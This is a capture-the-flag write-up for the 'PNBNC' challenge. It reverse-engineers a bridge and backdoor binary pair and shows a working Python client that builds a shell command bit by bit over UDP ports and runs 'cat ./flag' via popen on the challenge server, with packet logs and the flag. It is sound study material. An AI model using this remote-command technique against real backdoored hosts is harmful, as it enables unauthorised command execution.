PNBNC

Challenge description

A friendly hacktivist dropped us a backdoor on a server owned by a deforestation enterprise. Sadly noone knows how to operate it, she has given us the binaries. Figure it out and obtain the secret documents.

First impression

We are given two binaries, one called bridge and the other backdoor.
Not surprisingly they do what there name implies. The bridge listens on a TCP socket, reads and parses packets and then passes on parts of them over UDP to the backdoor process, in some cases it also reads back a response from the backdoor over UDP. Then the bridge sends a response back to the user over TCP.
But which messages are passed on, what format, and how do we find the flag?

Bridge

When the bridge starts it opens a listening tcp port on 42069, and connects a udp socket to port 1056

sudo netstat -nap | grep -e bridge -e backdoor  
tcp        0      0 0.0.0.0:42069           0.0.0.0:*               LISTEN      22849/./bridge      
udp        0      0 127.0.0.1:35927         127.0.0.1:1056          ESTABLISHED 22849/./bridge      

Then in a loop it reads 0x14 bytes from tcp port, and handles the commands (first dword) given:

commandaction
0x00010000send next received byte to the backdoor over main udp port 1056, read up to 0x1000 bytes of response from udp, and send it back over tcp
0x08000000read 8 port numbers from tcp, create and connect 8 udp sockets to the ports, send character ‘i’ to the ports

Bridge command handling code (partial code)

if ( *(_DWORD *)p_buf == 0x10000 )
  {
    addr.port = 0x2004;                         // port 1056
    if ( sendto(main_udp_fd, p_buf + 4, 1uLL, 0, (const struct sockaddr *)&addr, 0x10u) < 0
      || (amount_received = recvfrom(
                              main_udp_fd,
                              local_buf,
                              0x1000uLL,
                              0,
                              (struct sockaddr *)&addr,
                              &addr_len_or_sendbuf),
          amount_received < 0)
      || send(accepted_tcp_fd, local_buf, amount_received, 0) < 0 )
  }
  else if ( *(_DWORD *)p_buf == 0x8000000 )
  {
    LOBYTE(sendbuf) = 'i';
    p_ports = p_buf + 4;
    p_end = p_buf + 20;
    do
    {
      new_udp_socket = socket(2, 2, 0);         // udp
      *(_QWORD *)&addr.sa_family = 0LL;
      addr.field_8 = 0LL;
      rotated = __ROL2__(*p_ports, 8);
      addr.port = rotated;
      addr.sa_family = 2;
      sendto(new_udp_socket, &sendbuf, 1uLL, 0, (const struct sockaddr *)&addr, 0x10u);
      ++p_ports;
    }
    while ( p_ports !=  p_end );
    send(accepted_tcp_fd, &addr_len_or_sendbuf, 1uLL, 0);
    result = 0LL;
  }

That’s it for the bridge.

Backdoor

When you startup the backdoor process, it creates and connects 8 random udp ports.

sudo netstat -nap | grep -e backdoor -e bridge
tcp        0      0 0.0.0.0:42069           0.0.0.0:*               LISTEN      5470/./bridge       
udp        0      0 127.0.0.1:35927         127.0.0.1:1056          ESTABLISHED 5470/./bridge       
udp        0      0 0.0.0.0:1056            0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:27274           0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:48448           0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:3715            0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:17220           0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:41941           0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:9248            0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:1998            0.0.0.0:*                           8524/./backdoor     
udp        0      0 0.0.0.0:51181           0.0.0.0:*                           8524/./backdoor     

It then listens for commands both on the main udp port 1056, and on all the random ports.

Commands received on random ports

commandaction
iXOR corresponding bit in current character buffer. Each thread/random_port is in charge of toggling one bit.

‘i’ command handling code

void __fastcall struc4::if_i_toggle_command(struc_4 *p_struc4, _BYTE *p_buf, __int64 len)
{
  if ( len > 0 && *p_buf == 'i' )
    p_struc4->command.data.buf[0] ^= 1u;
}

Commands received on main udp port

commandsaction
1commit current character to command buffer
2reset the system, clear command buffer, generate new threads and random ports
4call popen() on string in command buffer
8send list of the eight random ports to bridge, the order corresponds to bits in the current character buffer

Command handling code (partial code)

    byte_to_send = 0xF2u;
    sub_command = *p_buf;
    if ( sub_command & 1 )
    {
        v9 = 0;
        do
        {
          p_struc4_1 = (struc_4 *)p_current_1->p_struc4;
          v9 = (unsigned __int8)p_struc4_1->command.data.buf[0] | 2 * v9 | (v9 >> 7);
          ++p_current_1;
        }
        while ( p_last_1 != p_current_1 );
      }
      *(_BYTE *)(p_struc4->struc_4.command.data.ptr + v14) = v9;
      sendto(p_struc4->struc_4.fd_udp, &byte_to_send, 1uLL, 0, &p_struc4->struc_4.addr, sockaddr_len);
    }
    else if ( sub_command & 2 )
    {
      struc1::reset(&g_struc1);
      sendto(p_struc4->struc_4.fd_udp, &byte_to_send, 1uLL, 0, &p_struc4->struc_4.addr, sockaddr_len_1);
    }
    else if ( sub_command & 4 )
    {
      p_popen_read_stream = popen((const char *)p_struc4->struc_4.command.data.ptr, "r");
      if ( p_popen_read_stream )
      {
        while ( fgets((char *)buf_to_send, 128, p_popen_read_stream) )
        {
           ...
        }
      if ( addr_len && p_struc4->struc_4.udp_port_bound )
        sendto(p_struc4->struc_4.fd_udp, p_buf_1, _basic_string_length, 0, &p_struc4->struc_4.addr, addr_len);
    }
    else if ( sub_command & 8 )
    {
      p_current = g_struc1.p_first;
      p_last = g_struc1.p_last;
      if ( g_struc1.p_first != g_struc1.p_last )
      {
        i = 0LL;
        do
        {
            p_current_struc4 = (struc_4 *)p_current->p_struc4;
            buf_to_send[i] = p_current_struc4->random_port;
            ++i;
            ++p_current;
        }
        while ( p_last != p_current );
      }
      sendto(p_struc4->struc_4.fd_udp, buf_to_send, 0x10uLL, 0, &p_struc4->struc_4.addr, v28);
    }

Connecting the dots

Now that we understand the various commands and sub-commands, we can string them all together in order to read the flag. What we want to do is, to send a shell command string to the backdoor and tell it to execute it using popen:

  1. send reset command (commmand 0x10000, sub 2), to clean internal command buffer.
  2. send get ports command (commmand 0x10000, sub 8), to get list of random ports
  3. for each character in our command string, cat ./flag, set the appropriate bits by toggling them with the XOR command:
    • send character using set char command (0x8000000), by toggling it on with XOR.
    • commit the character using commit char command (commmand 0x10000, sub 8)
    • send same character using set char command (0x8000000), in order to toggle it off with same XOR, so we are ready for next command.
  4. send execute command (commmand 0x10000, sub 4)

The python implementation

#!/usr/bin/env python3

import socket
import struct

UDP_PORT = 1056

# HOST = '127.0.0.1'  # The server's hostname or IP address
# TCP_PORT = 42069        # The port used by the server

HOST = 'pnbnc.forfuture.fluxfingers.net'
TCP_PORT = 11111


def send_and_recv(s, data):
    print("sending data: ", repr(data))
    s.sendall(data)
    data = s.recv(1024)
    print('Received tcp', repr(data))
    return data


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    print("tcp socket", s)
    s.connect((HOST, TCP_PORT))

    data = struct.pack("<I", 0x10000) + b'\x02'
    print(send_and_recv(s, data))

    data = struct.pack("<I", 0x10000) + b'\x08'
    ports = send_and_recv(s, data)
    ports = struct.unpack("<HHHHHHHH", ports)
    print("ports: ", ports)

    def send_char(char):
        data = struct.pack("<IHHHHHHHH", 0x08000000, *[ports[7-i] if char & (1<<i) else 0 for i in range(8)])
        send_and_recv(s, data)

        data = struct.pack("<I", 0x10000) + b'\x01'
        send_and_recv(s, data)

        data = struct.pack("<IHHHHHHHH", 0x08000000, *[ports[7-i] if char & (1<<i) else 0 for i in range(8)])
        send_and_recv(s, data)

    for char in b"cat ./flag":
        send_char(char)

    data = struct.pack("<I", 0x10000) + b'\x04'
    print(send_and_recv(s, data))

Running the script gives the following output

tcp socket <socket.socket fd=3, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('0.0.0.0', 0)>
[>]  b'\x00\x00\x01\x00\x02'
  [<]  b'\xf2'
[>]  b'\x00\x00\x01\x00\x08'
  [<]  b'\xe8*\x11;\x8b\xf2y)\xdc\x1dh\xc5\xd2\xbb\x0c\xa4'

ports:  (10984, 15121, 62091, 10617, 7644, 50536, 48082, 41996)

[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbb\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbb\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\x00\x00y)\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\x00\x00y)\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\xdc\x1d\x00\x00\x8b\xf2\x00\x00\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\xdc\x1d\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x00\x00\x00\x00h\xc5\xdc\x1d\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x01'  
  [<]  b'\xf2'  
[>]  b'\x00\x00\x00\x08\x0c\xa4\xd2\xbbh\xc5\x00\x00\x00\x00\x8b\xf2\x11;\x00\x00'  
  [<]  b'i'  
[>]  b'\x00\x00\x01\x00\x04'  
  [<]  b'flag{Kn0ck_Kn0ck____Wh0sTh3r3}\n'  


received flag: flag{Kn0ck_Kn0ck____Wh0sTh3r3}